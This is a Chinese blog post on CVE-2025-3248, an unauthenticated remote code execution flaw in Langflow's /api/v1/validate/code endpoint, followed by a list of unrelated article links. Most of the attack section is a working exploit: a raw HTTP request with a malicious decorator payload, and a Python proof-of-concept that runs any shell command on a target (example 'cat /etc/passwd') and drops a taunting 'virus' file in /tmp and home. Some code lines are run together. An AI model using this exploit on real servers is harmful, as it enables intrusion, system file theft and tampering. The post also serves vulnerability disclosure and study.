当前位置: 首页 > ds >正文

CVE-2025-3248

文章目录

  • 漏洞名称
  • 漏洞描述
  • 漏洞复现
  • POC

漏洞名称

CVE-2025-3248:LangFlow 未授权远程代码执行漏洞

漏洞描述

Langflow是一个流行的开源AI工作流可视化工具,允许用户通过Web界面拖拽式构建基于Python的智能体和数据处理流程。
在1.3.0版本之前,Langflow存在一个严重的未授权远程代码执行漏洞(CVE-2025-3248)。/api/v1/validate/code接口原本用来校验用户提交的Python代码是否合法,其内部通过ast解析代码后,使用exec执行所有函数定义。然而,Python的装饰器和默认参数表达式也会在函数定义时被执行,攻击者可以通过精心构造的装饰器或默认参数,在未授权的情况下实现任意代码执行。

漏洞复现

ui:
在这里插入图片描述
直接向/api/v1/validate/code接口发送包含恶意装饰器的Python函数定义,即可来实现远程命令执行:

POST /api/v1/validate/code HTTP/1.1
Host: your-ip:7860
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 105{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n  pass"}

在这里插入图片描述

POC

# langflowpoc.py
import sys
import requests
from pathlib import Pathif len(sys.argv) < 3:print("usage: python poc.py 'http://target:7860' 'cat /etc/passwd'")exit(1)url = sys.argv[1].removesuffix("/") + "/api/v1/validate/code"
cmd = sys.argv[2]message = "ello ur computa has virus ... (略)"code_to_exec = f"""
from pathlib import Path
import os
try:for file in ['/tmp/ello_ur_computa_has_virus.txt', '~/ello_ur_computa_has_virus.txt']:Path(file).expanduser().write_text({message!r})
except:pass
raise Exception(os.popen({cmd!r}).read())
"""payload = f"""
import os@exec({code_to_exec!r})
def f():pass
"""resp = requests.post(url, verify=False, json={"code": payload})
print(resp.text)
http://www.xdnf.cn/news/9246.html

相关文章:

  • 华为OD机试真题——区间交集(2025B卷:200分)Java/python/JavaScript/C/C++/GO最佳实现
  • 知识宇宙-职业篇:软件测试工程师
  • Java—— 多线程 第一期
  • 存储引擎系列--LSM不同Compaction策略性能分析对比
  • STM32:Modbus通信协议核心解析:关键通信技术
  • 【大模型面试每日一题】Day 29:简单介绍一下混合精度训练的技术要点及潜在风险
  • Kubernetes Service 类型与实例详解
  • Mybatis中的两个动态SQL标签
  • (先发再改)测试流程标准文档
  • 【面试题】如何测试即时通信功能:A给B发送一条了信息:hello
  • ‌加密 vs 电子签名:公钥私钥的奇妙冒险
  • 大数据学习(121)-sql重点问题
  • IP2366调试问题总结
  • 第12次07 :邮箱的验证
  • 57、【OS】【Nuttx】编码规范解读(五)
  • ET CircularBuffer 类
  • Cadence学习笔记之---PCB过孔替换、封装更新,DRC检查和状态查看
  • 动态贴纸的实时渲染原理:美颜SDK中的特效引擎开发实录
  • 化工厂电动机保护升级记:当Profinet遇上DeviceNet
  • 【数字图像处理】_笔记
  • Webpack 5 模块联邦(Module Federation)详解与实战
  • 多头注意力 vs 单头注意力:计算量与参数量区别
  • MySQL日志文件有哪些?
  • 一、docker安装以及配置加速
  • [免费]SpringBoot+Vue在线教育(在线学习)系统(高级版)【论文+源码+SQL脚本】
  • Python打卡训练营Day37
  • 《仿盒马》app开发技术分享-- 新增地址(端云一体)
  • AI算力网络光模块市场发展分析
  • 第二章 1.1 数据采集安全风险概述
  • 程序编码规范,软件设计规范